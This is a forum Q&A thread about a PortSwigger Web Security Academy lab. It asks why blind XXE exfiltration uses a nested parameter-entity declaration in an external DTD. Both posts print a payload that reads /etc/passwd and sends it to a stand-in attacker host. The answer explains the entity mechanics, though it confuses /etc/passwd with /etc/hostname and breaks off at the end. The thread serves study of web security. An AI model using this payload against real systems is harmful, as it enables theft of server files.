I've been studying XXE attacks through Portswigger's Web Security Academy. I stumbled upon a lab Exploiting blind XXE to exfiltrate data using a malicious external DTD.

In this lab an attacker has to define an entity within XML request to request an external DTD containing exploit.

The content of exploit.dtd should be as following. [Solution is publicly available on WSA.]

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">

I don't understand the extra step of a dynamic declaration (i.e. <!ENTITY % eval...) in the above external DTD. Why not simply skip this dynamic declaration and instead write?

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>

Any ideas?

  • Did you get the answer for this ? Commented Mar 26, 2021 at 9:59
  • @SaiRamReddy - Nope :(
    – Shuzheng
    Commented Mar 26, 2021 at 10:10
  • I also stumbled upon same idea while solving WSA labs. That's what brought me here looking for answers. I have read may writeup of XXE OOB data exfiltration and all of them used same technique without any explanation as to why.
    – Rahul
    Commented Aug 4, 2023 at 22:40

1 Answer 1


The way entities are developed, they are developed for a specific roles.

An internal entity is designed for the role of text substitution. They are treated as constants having a value. On the other hand an external entity is designed for role of requesting DTD. Mentioned resources in external entity are requested.

Examples of internal and external entity.

Internal entity: <!ENTITY foo "some text">

External entity: <!ENTITY bar SYSTEM "URI">

In first example,

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">

The file is an external entity requesting /etc/passwd file whereas eval is an internal entity with text,

<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>

It should be noted that this will be treated as plaintext and substitution of parameter entity %file will happen. Now eval holds the value,

<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=hostname'>

where 'hostname' is the content of /etc/hostname file.

However, in second example,

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>

file and exfiltrate both are external entities where only requesting URI is allowed and no text substitution is allowed here.

When %exfiltrate expands it will consider %file as plaintext only and won't substitute contents of /etc/hostname file. Result will be request of resource at,


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .